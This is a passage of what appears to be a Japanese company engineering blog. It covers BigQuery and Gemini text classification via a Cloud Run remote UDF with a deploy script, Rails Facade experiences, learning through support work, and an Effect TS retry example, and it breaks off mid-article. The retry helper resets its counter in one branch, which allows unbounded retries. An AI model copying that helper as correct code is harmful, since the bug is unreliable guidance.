作成された接続には専用のサービスアカウントが紐づきます このサービスアカウントに roles/aiplatform.user ロールを付与して、Vertex AIを使えるようにします リモートモデルの定義 CREATE MODEL 文で、Gemini 2.5 Flash をリモートモデルとして登録します これでBigQueryからGeminiを呼び出せるようになります ML.GENERATE_TEXTで判定実行 ML.GENERATE_TEXT 関数を使って、各テキストに対してGeminiで判定を実行します プロンプトは CONCAT で動的に生成しています この方法の利点と課題 利点 完全自動化!スケジュールクエリで定期実行も可能 BigQueryの中で完結するので、データの移動が不要 課題 全行でLLMが呼ばれる = コストが高い 「10万円」みたいな明らかなキーワードがある場合も、わざわざLLMを呼んでいる ということで、さらなる最適化に挑戦します! アプローチ3: UDF + Cloud Run でコスト最適化 最後は、BigQueryのRemote UDFとCloud Runを組み合わせて、 ルールベース判定 → LLM判定 の2段階フィルタリングを実装します。 戦略 まず高速なルールベース判定(キーワードマッチ)を実行 キーワードに引っかからなかった場合のみ、LLMで判定 これでLLM呼び出し回数を大幅削減! 実装 スクリプト 全体 実行前の注意事項  ・この スクリプト は、Cloud Runのデプロイ、Dockerイメージのビルド、BigQueryリソースの作成、IAM権限の変更など、多くの GCP リソース操作を行います。  ・必ずご自身の責任の範囲内で実行してください。  ・ スクリプト は検証済みですが、 GCP プロジェクトの設定や権限状況により失敗する可能性があります。 前提条件:  ・ macOS 環境(または Linux 環境)で実行可能  ・ gcloud コマンドがインストール済みで、 GCP にログイン済みであること  ・対象の GCP プロジェクトで課金が有効化されていること  ・サービスアカウントへのIAMロール付与、Cloud Runのデプロイなど、プロジェクトに対する強い権限を持っていること  ・ bq コマンド、 jq コマンドがインストール済みであること 実行前の準備:  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロジェクトIDに変更してください  ・必要に応じて、リージョンやサービス名などの変数も環境に合わせて調整してください  ・この スクリプト は set -e でエラー時に停止するようになっていますが、途中で失敗した場合は作成済みのリソースが残る可能性があります  ・エラーが発生した場合は、エラーメッセージを確認し、必要な権限やリソースが不足していないか確認してください 作成されるリソース:  ・BigQueryデー タセット ( llm_dataset )  ・BigQuery Connection( llm_connection_for_filtering )  ・Artifact Registry リポジトリ ( bq-udf-repo )  ・Cloud Runサービス( bq-udf-processor-final )  ・BigQuery Remote UDF( efficient_price_filter_final )  ・IAMロール付与(BigQuery ConnectionのサービスアカウントにCloud Run Invoker権限、Cloud RunのサービスアカウントにVertex AI User権限) #!/bin/bash set -e export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CLOUDRUN_REGION="us-central1" export DATASET_ID="llm_dataset" export CONNECTION_NAME="llm_connection_for_filtering" export REPO_NAME="bq-udf-repo" export SERVICE_NAME="bq-udf-processor-final" export FUNCTION_NAME="efficient_price_filter_final" echo "--- 1. 必要なAPIの有効化 ---" gcloud services enable \ artifactregistry.googleapis.com \ run.googleapis.com \ cloudbuild.googleapis.com \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} --quiet echo "--- 2. BigQuery データセットの作成 ---" bq show --dataset ${PROJECT_ID}:${DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${DATASET_ID} echo "--- 3. Artifact Registryの準備 ---" gcloud artifacts repositories create ${REPO_NAME} \ --repository-format=docker \ --location=${CLOUDRUN_REGION} \ --project=${PROJECT_ID} || true echo "--- 4. BQ Connectionの作成とサービスアカウントIDの取得 ---" CONNECTION_FULL_PATH="${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}" bq show --connection --location="${CONNECTION_REGION}" "${CONNECTION_FULL_PATH}" &>/dev/null || \ bq mk --connection --connection_type=CLOUD_RESOURCE --project_id="${PROJECT_ID}" --location="${CONNECTION_REGION}" "${CONNECTION_NAME}" SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null | jq -r '.cloudResource.serviceAccountId') if [ -z "$SERVICE_ACCOUNT_ID" ]; then echo "エラー: サービスアカウントIDの取得に失敗しました。" exit 1 fi echo "取得されたサービスアカウントID: ${SERVICE_ACCOUNT_ID}" echo "--- 5. ソースファイルの作成 ---" cat > main.py <<'EOF' from flask import Flask, request, jsonify import os from google import genai from google.genai import types app = Flask(__name__) PROJECT_ID = os.environ.get('GCP_PROJECT', 'your_project_id') LLM_REGION = 'us-central1' llm_client = None try: llm_client = genai.Client(vertexai=True, project=PROJECT_ID, location=LLM_REGION) except Exception as e: print(f"LLM Client Initialization Error: {e}") def call_llm_for_judgment(text): if not llm_client: return "ERROR_CLIENT_INIT" prompt = f"以下の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみを回答してください。\n文章:{text}" try: response = llm_client.models.generate_content( model="gemini-2.5-flash", contents=prompt ) return response.text.strip() except Exception as e: print(f"LLM API Call Failed: {e}") return "ERROR_LLM_CALL" @app.route('/', methods=['POST']) def handle_bq_udf(): try: data = request.get_json() calls = data['calls'] results = [] for call in calls: input_text = call[0] # --- 1. 高速なルールベース判定 --- keywords = ['万円', '予算', '価格', '費用', '円', 'ドル'] if any(k in input_text for k in keywords): results.append("Yes") continue # --- 2. LLMフォールバック判定 --- llm_result = call_llm_for_judgment(input_text) if llm_result.strip().upper() == "YES": results.append("Yes") else: results.append("No") return jsonify({"replies": results}) except Exception as e: return jsonify({"errorMessage": str(e)}), 400 if __name__ == '__main__': port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port) EOF echo "flask" > requirements.txt echo "google-genai" >> requirements.txt cat > Dockerfile <<'EOF' FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY main.py . EXPOSE 8080 CMD ["python", "main.py"] EOF echo "--- 6. イメージのビルドとCloud Runへのデプロイ ---" export IMAGE_URI="${CLOUDRUN_REGION}-docker.pkg.dev/${PROJECT_ID}/${REPO_NAME}/${SERVICE_NAME}:latest" gcloud builds submit --tag ${IMAGE_URI} --project=${PROJECT_ID} --quiet gcloud run deploy ${SERVICE_NAME} \ --image ${IMAGE_URI} \ --region ${CLOUDRUN_REGION} \ --platform managed \ --no-allow-unauthenticated \ --project=${PROJECT_ID} \ --quiet SERVICE_URL=$(gcloud run services describe ${SERVICE_NAME} --region ${CLOUDRUN_REGION} --project=${PROJECT_ID} | grep ^URL: | awk '{print $2}') echo "デプロイされたサービスURL: ${SERVICE_URL}" echo "--- 7. IAM権限付与 ---" # set -e の影響を一時的に無効化してチェック set +e INVOKER_CHECK=$(gcloud run services get-iam-policy ${SERVICE_NAME} \ --project=${PROJECT_ID} \ --region=${CLOUDRUN_REGION} \ --format="value(bindings.role, bindings.members)" \ | grep "roles/run.invoker" | grep "${SERVICE_ACCOUNT_ID}") CHECK_RESULT=$? set -e if [ $CHECK_RESULT = 0 ]; then echo "roles/run.invokerは付与済みです。" else echo "roles/run.invokerを付与します..." gcloud run services add-iam-policy-binding ${SERVICE_NAME} \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/run.invoker" \ --region ${CLOUDRUN_REGION} \ --project=${PROJECT_ID} --quiet echo "roles/run.invoker権限付与後、60秒待機します..." sleep 60 fi # Cloud RunサービスアカウントにVertex AI権限を付与 echo "Cloud RunサービスアカウントにVertex AI権限を付与します..." PROJECT_NUMBER=$(gcloud projects describe ${PROJECT_ID} --format="value(projectNumber)") CLOUDRUN_SA="${PROJECT_NUMBER}-compute@developer.gserviceaccount.com" gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${CLOUDRUN_SA}" \ --role="roles/aiplatform.user" \ --quiet echo "--- 8. リモート関数の定義と実行 ---" cat > remote_function_def.sql <<EOF CREATE OR REPLACE FUNCTION \`${PROJECT_ID}.${DATASET_ID}.${FUNCTION_NAME}\`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = '${SERVICE_URL}' ); EOF echo "リモート関数の定義を実行します..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_function_def.sql # UDFの実行と結果確認 echo "UDFの実行と結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false <<EOF_EXEC SELECT original_text, \`${DATASET_ID}.${FUNCTION_NAME}\`(original_text) AS judgment_result FROM ( SELECT 'この製品の価格は10万円ですか?' AS original_text UNION ALL SELECT '見た目の高級感に対する満足度は?' AS original_text UNION ALL SELECT '製品の質感に対するニュアンスで高い評価はあるか?' AS original_text ); EOF_EXEC ポイント解説 1. Cloud Runアプリの実装(main.py) # --- 1. 高速なルールベース判定 --- keywords = [ '万円' , '予算' , '価格' , '費用' , '円' , 'ドル' ] if any (k in input_text for k in keywords): results.append( "Yes" ) continue # LLMを呼ばずに次へ # --- 2. LLMフォールバック判定 --- llm_result = call_llm_for_judgment(input_text) この2段階判定がポイントです! - キーワードに引っかかれば即座に「Yes」を返す(高速・低コスト) - キーワードがない場合のみLLMで判定(精度重視) 2. BigQuery Remote UDF CREATE OR REPLACE FUNCTION `project.dataset.function_name`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION `project.region.connection_name` OPTIONS ( endpoint = ' https://your-cloud-run-url ' ); BigQueryから外部のCloud Runエンドポイントを呼び出すUDFを定義します。 3. 使い方 SELECT original_text, `dataset.function_name`(original_text) AS judgment_result FROM your_table; 通常のBigQuery関数と同じように使えます! この方法の利点 コスト最適化 :明らかなケースはルールベースで処理し、LLM呼び出しを最小化 柔軟性 :Cloud Runのコードを変更すれば、判定ロジックを自由にカスタマイズ可能 スケーラビリティ :Cloud Runが自動スケールするので、大量データにも対応 保守性 :判定ロジックが Python コードなので、メンテナンスしやすい まとめ:3つのアプローチの比較 アプローチ コスト 実装難易度 おすすめ用途 1. コンソール→Spreadsheet 低 低 少量データの一回限りの分析、プロトタイピング 2. BQ ML 高 中 精度重視、コストは気にしない、完全自動化 3. UDF + Cloud Run 最適 高 本番運用、コスト最適化重視、カスタマイズ性重視 個人的には、最初は アプローチ1 で試してみて、定期実行が必要になったら アプローチ2 、さらにコストが気になってきたら アプローチ3 という段階的な進化がおすすめです! 参考リンク 本記事で紹介した各種コードは、 Google Cloud の公式ドキュメントを参考にしています。 Google Cloud ドキュメント BigQuery ML - ML.GENERATE_TEXT BigQuery Remote Functions Vertex AI Gemini API 感想 今回の実装を通して、外部接続の設定やサービスアカウントへのロール追加など、思ったより設定することが多いなと感じました。特にアプローチ3のUDF + Cloud Runの構成は、初回のセットアップにそれなりの手間がかかります。 ただ、一度作成してしまえば他の ユースケース にも流用できるため、非常に便利な機能だと実感しました。今後、BigQuery + ML利用についてはより簡素で柔軟な方法が出てくるかもしれませんが、本記事がみなさまの参考になれば幸いです。 明日の記事は同じAIテクノロ ジー グループの辻埜さんです。お楽しみに! 株式会社 エニグモ すべての求人一覧 hrmos.co
アバター
こんにちは。WEBアプリケーションエンジニアの小松です。 私はこれまで主に EC サイトの開発に携わってきて、普段は PHP を中心に書いてきました。 本格的に Ruby on Rails に触れるようになったのは、 エニグモ に入社してからです。 Rails のコードベースに新しく入ると、「 Rails ではこう書くのか」と驚く場面が多いのですが、その中でも特に戸惑ったのが Facade パターン でした。 Service、Presenter、FormObject あたりは PHP の現場でも馴染みがありましたが、 「Facade としてロジックをひとまとめにする構造」 は自分にとってほぼ未経験。 既存のプロジェクトに途中から入ったこともあり、理解するのに少し時間がかかりました。 この記事では、 「 Rails の Facade を初めて触った PHPer が、現場で実際に困ったこと・気づいたこと」 をあくまで主観ベースでまとめています。 既存の設計が悪いという話ではなく、 “初めて触る立場だとこう見えた” という記録として読んでいただければ幸いです。 この記事は[ Enigmo Advent Calendar 2025 ]の10日目の記事です。   1. シンプルそうに見えて、実際に追うとブラックボックスに感じる 2. URL の整形が Facade に隠れていて、修正しづらかった 3. 「内部構造を隠す」はメリットだが、初見だと手がかりが少なく感じる 4. 結合度を下げる設計のはずが、実際には“依存が集中して見える”ことも 5. 実際に Facade を触ってみて「こうしておけばよかった」と思ったこと ● URL 生成など、外に影響する処理は隠しすぎない方が助かる ● Facade の責務が簡単に読めるようにコメントやガイドがあると良い ● できれば役割ごとに小さく分割されている方が理解しやすい 6. PHPerとしてRailsのFacadeを使って良かったと思ったシーン まとめ 1. シンプルそうに見えて、実際に追うと ブラックボックス に感じる Facade は使う側からすると「呼べば結果が返ってくるシンプルな API 」です。 しかし、初めて触った私は最初こう思いました。 ログを取りたいのに、どこで何が動いているのか分からない。 Facade の中で複数のサービスが呼ばれ、さらにその中で別の処理が走っている。 コントローラ側から見えるのは「Facadeを叩いている」という一点だけ。 @page = ArticleFacade.build_page(category, tag) これだけでは、 ・どこで URL が組み立てられているのか ・どのサービスが動いているのか ・パラメータがどの時点で変化しているのか が最初は全然見えてこず、 PHP で慣れていた書き方とのギャップもあって、理解するまでに時間がかかりました。 「ここでログ取りたいんだけど、どこに入れればいいんだ?」これを探すのが一番苦労しました。 2. URL の整形が Facade に隠れていて、修正しづらかった 実際に困った実例がこちら。 「URL の末尾にスラッシュが付いたり付かなかったりする問題」 例えばこんなメソッドがあります。 def path_to_index(category, tag) if category.nil? index_path(tag: tag) else category_index_path(category: category, tag: tag) end end これが最終的に /foo/bar?tag=10/ のように、 意図しないスラッシュが付いたり外れたりする。 修正しようにも、 URL をどこで作っているのか最初は分からない。 コントローラ側ではなく、Facade の内部で生成している ログを入れる場所が見つからない 修正したらどこに影響するか読みにくい PHP では URL ヘルパー周りは比較的素直に見えていたので、「 Rails の Facade の奥でこうなっていたのか…」と理解するまでかなり時間を使いました。 3. 「内部構造を隠す」はメリットだが、初見だと手がかりが少なく感じる Facade のメリットは確かにあります。 複雑な処理を外部から隠せる 呼び出し側から見れば API がシンプルになる ただ、初めて触る立場からすると、 「隠れている」=手がかりが減る という面が大きく感じられました。 処理のどの段階で例外が起きているか分からない 目的の値がどの時点でセットされているか追いにくい 修正ポイントを見つけるまで時間がかかる Rails の慣れた人にとっては自然なパターンでも、経験がないと入口までしか見えず、内部の把握に苦労します。 4. 結合度を下げる設計のはずが、実際には“依存が集中して見える”ことも Facade の意図は「依存をまとめて隠す」だと思うのですが、初めて触った私には、 Facade に複数の処理が集まりすぎて、逆に依存が増えて見える という場面がありました。 あちこちのモデルやサービスを呼んでいる Facade を修正すると影響範囲が広そう 結果として「巨大クラス」に見えてしまう もちろん、初期開発から関わっている人には「ここに集約されているのが分かりやすい」という感覚があるのだと思います。 ただ、新規参入の PHP エンジニアとしては、この“まとまり方”に慣れるまで時間が必要でした。 5. 実際に Facade を触ってみて「こうしておけばよかった」と思ったこと Rails の Facade を初めて触る立場として、以下のような工夫があれば理解しやすかったと感じます。 ● URL 生成など、外に影響する処理は隠しすぎない方が助かる どこで作られているか分かるだけで追う負担が大きく減りました。 ● Facade の責務が簡単に読めるようにコメントやガイドがあると良い 「何をまとめたクラスか」だけ分かれば初動が速くなる。 ● できれば役割ごとに小さく分割されている方が理解しやすい 巨大な Facade は新規参入者にとってハードルが高く感じられました。 6. PHPerとして Rails のFacadeを使って良かったと思ったシーン ただ、触り慣れてくると良さも感じます。 コントローラが驚くほどスリムになる 「この機能を実装するにはここだけ読めば良い」という場所が決まる ロジックを UI・ ドメイン ・データ層のどれにも寄せずに置ける 特に「 ビジネスロジック をどこに置くか」という点で迷ったとき、Facade を入口にロジックをまとめていく設計は理解しやすく、 Rails の“見通しをよくする文化”に触れるきっかけにもなりました。 PHP の頃にも似たようなパターンはありましたが、 Rails ではそれがより自然にプロジェクトに溶け込んでいる印象です。 まとめ 今回の記事は、 Rails の Facade をほぼ初めて触った PHPer が、既存プロジェクトに途中参加して学んだこと をそのまま書いたものです。 ログの仕込み方に迷った URL の組み立てが追いにくかった 隠蔽が多く、最初は ブラックボックス に見えた 依存が集中しているように見える場面もあった とはいえ、理解が進むにつれて、 コードの見通しがよくなる 責務が整理される ロジックをまとめる場所として便利 など、 Rails ならではの良さも感じられました。 経験が浅いうちは苦労しますが、触っていくうちに「なぜこういう設計をしているのか」が少しずつ見えてきます。 明日 12/11 の記事は検索チームのエンジニアの記事です。
アバター
こんにちは。サーバーサイドエンジニアの高橋です。 この記事は Enigmo Advent Calendar 2025 の9日目の記事です。 中途入社してから3年が経ちました。この記事では、この3年間で携わってきた業務の中でも、特にCS(カスタマーサポート)対応が自分のスキル習得やプロダクト理解に大きく寄与した点についてまとめます。 ■ 入社当初の状況 入社直後は、プロダクトの構造や各 ドメイン の役割、社内ツール群の使い方など、把握できていないことが多くありました。 コードを読み解くにも関連する背景知識が不足しており、調査の進め方についても試行錯誤の状態でした。 新しい環境に慣れるまでの間、どこに情報があるのか、何を手がかりに理解を進めれば良いのか、といった基本的な部分で躓くことも多かったように思います。 ■ CS対応チームへの参加 入社から半年ほど経った頃、CS対応を行うチームに加わりました。 CS対応は、ユーザーから寄せられる問い合わせを起点として、状況の確認、原因調査、必要に応じた改善提案や不具合対応につなげる業務です。 多様な問い合わせ内容に触れるため、日々の調査の中で自然とプロダクト全体の構造や動作を理解する機会が増えました。結果として、入社初期に感じていた「何がどこで動いているのか分からない」という状態が徐々に解消されていきました。 ■ CS対応を通じて得た知見 ● 調査プロセスの定着 問い合わせ対応では、ログ確認、コード参照、仕様の再確認といった一連の調査フローを何度も繰り返すことになります。 この反復により、問題の切り分け方や仮説の立て方が体系化され、調査の進め方が安定してきました。 ● ドメイン 横断の理解 CS対応の振り返りでは、他 ドメイン のメンバーが対応した内容も共有されます。 自分が担当していない領域の知識も蓄積され、プロダクトの理解が横方向に広がりました。 「どの領域でどのような問題が起きやすいか」という傾向も把握しやすくなりました。 ● 過去事例を活かした調査効率の向上 似た内容の問い合わせが発生した際、以前調査した事例が役に立つ場面が増えました。 過去の調査内容やログのパターンが記憶として残っているため、問題特定までの時間が短縮されるようになりました。 ● 社内ツールやログへの理解 CS対応では頻繁に社内の管理ツールや各種ログを参照します。 どのログがどの機能に紐づくか、どの画面にどのデータがあるかを把握することで、後続の開発業務でも調査の起点を見つけやすくなりました。 ● 不具合の早期発見と改善 調査の過程で不具合に気づくこともあり、チケットを作成して改善につなげる経験も多くありました。 問い合わせ対応と開発業務が地続きであることを実感できた点は、自分にとって大きな学びでした。 ● 心理的 安全性のある学習環境 CS対応は調査中心であり、リリースに直接影響する場面が比較的少ないため、わからない点は周囲に相談しながら進められました。 こうした環境が、業務理解を段階的に深める助けになったと感じています。 ■ 社内の取り組みとの関連 Tech Blogでも、問い合わせ対応に関連した運用改善やナレッジ蓄積の取り組みが紹介されています。 tech.enigmo.co.jp 上記では、問い合わせ対応の属人化を防ぐための調査手順や振り返りの仕組みが取り上げられており、自分がCS対応に携わる中で感じていた課題と重なる部分も多くありました。 ■ 3年間を振り返って CS対応に関わったことで、 調査力 プロダクト全体の把握力 ログ・ツールの理解 ドメイン 横断の視点 不具合発見や改善の着眼点 といった基礎的な能力が身につきました。 これらは現在の開発業務を進める上でも、重要な土台になっています。 ■ 今後の取り組み 今後は、CS対応で得た知見をチーム全体で活用できる形にまとめていければと考えています。 調査手順のドキュメント整備 問い合わせ傾向の定期的な分析 改善につながる フィードバックループ の強化 開発とCSの情報共有の仕組みづくり 引き続き、プロダクト改善に貢献できるよう取り組んでいきたいと思います。 ■ おわりに 入社3年を迎えるタイミングで、特に学びの多かったCS対応について整理しました。 これから入社する方や、プロダクト理解を深めたい方にとって、CS対応が一つの有効な手段になり得ると感じています。 明日の記事の担当は エンジニア の 小松 さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co
アバター
こんにちは!フロントエンドエンジニアの張です! この記事は Enigmo Advent Calendar 2025 の8日目の記事です。 「型安全」、「堅牢性」、「開発体験」、どれもエンジニアでしたら、近年よく聞くキーワードだと思います。特にウェブ開発、フロントエンド開発界隈では、それらを改善するためにTypeScriptを導入・採用するチームが増える一方です。 でも、「それでは足りない、もっと堅牢的、かつ保守しやすいTypeScriptを書きたい!」だと主張するコミュニティが実は存在していて、彼らがたどり着いた解決策は今回私が導入を検討した Effect TS です。 私の調査を説明する前に、記事をわかりやすくするために、まずはいくつかのキーワードを定義したいと思います。 キーワード 型安全 プログラミング言語 、あるいは一部の言語(TypeScriptなど)においては、 ライブラリ を形容する単語。型安全な言語・ライブラリは コンパイル 時あるいはランタイム(実行時)に型の誤用を検知できて、開発者にそれを報告したり、プログラムを中止したりすることができます。 コンパイル 時、ランタイム両方で型の誤用を徹底的に防ぐ Rust は代表格の一つです。 Rust ほどではありませんが、今回のテーマになる TypeScript も型安全な言語だと認識されています。 堅牢性 プログラムが想定した形式で様々なシナリオを対応する能力です。具体的に話しますと、可能なエラーを検知して、適切な処理を実行したり、無効なインプットに対して、正しい処理で対処したりすることも堅牢性の高いソフトウェアの指標となります。 開発体験 簡単に言いますと、開発の快適さという意味です。エディター( VS Code など)とLSP (Language Server Protocol) で実現されたオートコンプリートとかも開発体験を改善してます。ほかには、LLM によるコード予測なども開発体験を向上させていると思われています。 導入を検討した理由 キーワードを簡単に説明できましたので、今回導入を検討した理由を説明したいと思います。 実は所属しているチームが来年からコードベースをMeta社の Flow-Typed から TypeScript に移行する予定なので、私は理想的な TypeScript の書き方を模索中です。 その中、Effect TS という気になっていたライブラリを思い浮かんで、調査を始めました。 気になっていたところなんですが、まさに「型安全」と「堅牢性」の部分でした。 Effect Type その名前の通り、Effect TSの骨幹となるのは、 Effect というデータストラクチャーです。Effect TSにおいて、一切の処理の起点が Effect になっていて、なにかを実行するため、まずはその処理を説明する Effect を実装しないといけません。 そして、その Effect ですが、従来の JavaScript のオブジェクトとも関数とも違って、処理の結果(success type)、エラー(error type)と依存関係(dependencies)を内包しています。わかりやすく説明しますと、 Rust にある Result Type に似ています。 その シグネチャ が以下になります Effect< Success , Error , Requirements > Error Type 依存関係については話を更に複雑にしますので、今回は割愛させていただきますが、 エラー はプログラムの「型安全」と「堅牢性」を大幅に改善することができます。 理由としては、TypeScript を含むおおよその プログラミング言語 はエラーを型の一部として認識していませんので、型で完全に処理が正しく実行されることを保証できません。 たたえば、以下は tsc (TypeScript Compiler) から何の警告もないんですが、 fallibleFn が失敗して、 console.log まで実行されない可能性がありますが、 Effect TS 、 Rust などエラーを型として扱うタイプシステムではそういうことが殆ど発生しません。 const fn = () => { const result = fallibleFn(); console .log( `The result is: ${ result } ` ); } ; const fallibleFn = () => { if ( Math . random () > 0.5 ) { return "hello world" ; } else { throw new Error ( "oops" ); } } ; Effect TSでの実装では、 tsc の型評価で関数が失敗することがあることがわかります const fnEffect = Effect.gen( function* () { const result = yield* fallibleEffect; yield * Console . log ( `The result is ${ result } ` ); } ); const fallibleEffect = Effect.try(() => { if ( Math . random () > 0.5 ) { return "hello world" ; } else { throw new Error ( "oops" ); } } ); error typeが UnknownExceptionになっています 堅牢性に関してですが、上述のように、エラーを持っている Effect を実行したら、返り値になる Effect も必ず エラーを持つことになります、それを完全になくすためにはそれを処理することは必要です。そして、処理する時、Effect TSは開発者が可能なエラーを全部対処することを要求します。 以下の スニペット は interestingFallibleEffect というエラーを持つ Effect をエラーなしの Effect にする処理です。可能なエラーを全部対応しないと、型からエラーが消えません。 class InterestingError extends Data.TaggedError( "InterestingError" )< { readonly message : string ; } > {} class MoreInterestingError extends Data.TaggedError( "MoreInterestingError" )< { readonly message : string ; } > {} const interestingFallibleEffect = Effect.gen( function* () { const random = Math . random (); if (random > 0.5 ) { return "hello world" ; } if (random > 0.25 ) { return yield* Effect.fail( new InterestingError( { message : "interesting error" } )); } return yield* Effect.fail( new MoreInterestingError( { message : "more interesting error" } )); } ); const errorFreeInterestingFallibleEffect = interestingFallibleEffect.pipe( Effect.catchTags( { InterestingError : () => Effect.succeed( "failed interestingly" ), MoreInterestingError : () => Effect.succeed( "failed even more interestingly" ), } ), ); エラーがなし(never)になっています 実装の詳細を色々端折って説明してしまいましたが、Effect TSが Error Type を通して「型安全」と「堅牢性」を改善できることがある程度伝えられたと思います。 結論として、私もできればソフトウェアを堅牢に作りたい方なので、今回の調査を決意しました。 既存コードをEffect TSで実装してみました それでは本題に入ります!このたび、実際の業務にEffect TSを導入するか、検討するために、 Buyma のフロントエンドのコードから適切な処理を選んで、Effect TSで実装してみました。 Effect TSの長所を活用するために、以下の基準で処理を選びました。 エラーが発生する可能性ある処理 リトライが必要な処理 お互いに依存性がある処理からできた処理 結果的に、こういう処理をEffect TSで実装してみました: メッセージをサーバーに送る処理: メッセージを送る前に、サーバーにメッセージの内容を送って、バリデーションを実行してもらいます。失敗の場合、400系のstatus codeが返ります。認証エラーの場合だけ、 トーク ン更新を実行して、リトライします。最終的に失敗していましたら、全体の処理が中止になります。 メッセージの本文を送ります、3回までリトライが可能で、認証エラーの場合、リトライの前に、 トーク ン更新を行いますが、更新が失敗した場合、リトライが中止になります。最終的に失敗した場合、全体の処理が中止になります。 2つ目の本文を送ります、3回までリトライが可能で、認証エラーの場合、リトライの前に、 トーク ン更新を行いますが、更新が失敗した場合、リトライが中止になります。最終的に失敗した場合、全体の処理が中止になります。 Effect TS の書き方を体験するための実装なので、実装の内容は簡略化されています。フロントエンドの実装も含まれていますと、更に分かりにくくなるため、今回はHTTPリクエストの処理だけを実装しました。 API を呼ぶ まずは、HTTPリクエストを処理するEffectを作成しました。 const callAPI = ( url : string ) => Effect.gen( function* () { const client = yield* makeAuthenticatedClient; const response = yield* client. get (url).pipe( Effect.catchAll(( error ) => { if (HttpClientError.isHttpClientError(error) && "response" in error) { const status = error. response . status ; return Console . log ( `API Error [ ${ status } ] at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `HTTP ${ status } error at ${ url } ` , status , } ), ), ), ); } return Console . log ( `Network error at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `Network error at ${ url } ` , status : 0 , } ), ), ), ); } ), ); const json = yield* response.json.pipe( Effect.catchAll(( _error ) => { return Console . log ( `JSON parse error at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `Failed to parse JSON response at ${ url } ` , status : response. status , } ), ), ), ); } ), ); yield * Console . log ( `Response from ${ url } : ${ json } ` ); return json; } ); HTTP fetchのリクエストを発火して、エラーを APIError に統一して、成功する場合、結果を出力Effect です。 makeAuthenticatedClient という Effect からHTTP Clientを取得していますが、依存関係の話になりますので、詳細は割愛させていただきます。簡単に言いますと、Effect TSは 依存性注入 を推奨していて、HTTP Clientなどの共通関数は依存性としてEffectに提供することが多く、今回私もそう実装しています。そして、 fetch のエフェクト化のコストを省くために、 @effect/platform パッケージの HttpClient を使用しております。 トーク ンを更新する 以上の実装でHTTPリクエストを発火することができるようになりましたので、次は トーク ンを更新する処理を実装しました。あくまで書き方を検証するための実装なので、簡略化された実装となります。 const renewToken = Effect.gen( function* () { yield * Console . log ( "Renewing token..." ); const client = yield* HttpClient.HttpClient; const { token } = yield* AuthToken; const response = yield* client.post(RENEW_URL); const json = yield* response.json; const newToken = (json as { token : string ; } ).token; yield * Ref. set (token, newToken); yield * Console . log ( "token renewed" ); } ).pipe( Effect.catchAll(() => Effect.fail( new APIError( { message : "Token renewal failed" , status : 0 , } ), ) ), ); こちらはHttpClient以外に、AuthToken というサービスからEffect間に共有されている トーク ン(token) への参照(Ref) を取得していて、それ経由で共有の変数を更新しています。その変数は上述の makeAuthenticatedClient にも使われていますため、更新されたら、HTTP Clientが使う トーク ンが更新されたものになります。 リトライ、 リカバリ ー機能を追加 基本の処理が揃いましたので、次はEffectをリトライするEffectに変えるEffectを実装します。 const retryWithRecovery = < A , E , R , RA , RE , RR >( effect : Effect.Effect < A , E , R > , recoveryAction : Effect.Effect < RA , RE , RR > , recoveryPredicate : ( error : E ) => boolean , retryPredicate : ( error : E ) => boolean , maxRetries : number , ): Effect.Effect < A , E | RE , R | RR > => { const attempt = ( retriesLeft : number ): Effect.Effect < A , E | RE , R | RR > => effect.pipe( Effect.catchAll(( e ) => { if (retriesLeft > 0 && retryPredicate(e) && recoveryPredicate(e)) { return recoveryAction.pipe(Effect.andThen(attempt(retriesLeft - 1 ))); } if (retriesLeft > 0 && retryPredicate(e)) { return attempt(maxRetries - 1 ); } return Effect.fail(e); } ), ); return attempt(maxRetries); } ; ジェネリクス ( generics ) のせいで少し複雑に見えるかもしれませんが、よく見ますと結構簡単な処理です。 引数を説明しますと、 effect: メイン処理の effect 、成功時は A 型の値を返して、失敗時は E 型の値を返します。依存関係は R 型です。 recoveryAction: 失敗したら、次のメイン処理を実行する前に実行される effect 、次のメイン処理が失敗しないようにプログラムのステートをリカバーする処理です。成功時は RA 型の値を返して、失敗時は RE 型の値を返します。依存関係は RR 型です。 recoveryPredicate: リカバリ ーを実行するか、判断する関数。 true が返されたら、 リカバリ ーが実行されます。 retryPredicate: リトライを実行するか、判断する関数。 true が返されたら、リトライが実行されます。 maxRetries: 最大リトライ数。0になったら、 recoveryPredicate 、 retryPredicate の結果関係なしで、リトライが完了します。 引数の意味がわかりましたら、処理わかりやすくなるかと思います。つまり、この処理は、メイン処理にリトライする機能を追加しています。その上に、リトライの基準、 トーク ン更新などの リカバリ ー処理、 リカバリ ー処理を実行する基準を指定させることで、もっと柔軟なリトライ処理を作成することを可能にしています。単純に Effect をリトライしたいであれば、 Effect.retry というヘルパーを使ったらいいですが、今回参考になった既存実装は実際 リカバリ ーを考慮した実装なので、このように実装しました。 以上の処理は決して複雑な処理ではなくて、Effect TSなしでも実装できると思うかもしれませんが、Effect TSのおかげで、この Effect から生成された Effect は最終的に発生する可能性があるエラーと、必要な依存関係を全部型情報として保存しています。その凄さは最終の仕上げを見たら、お分かりになるかと思います。 仕上げ 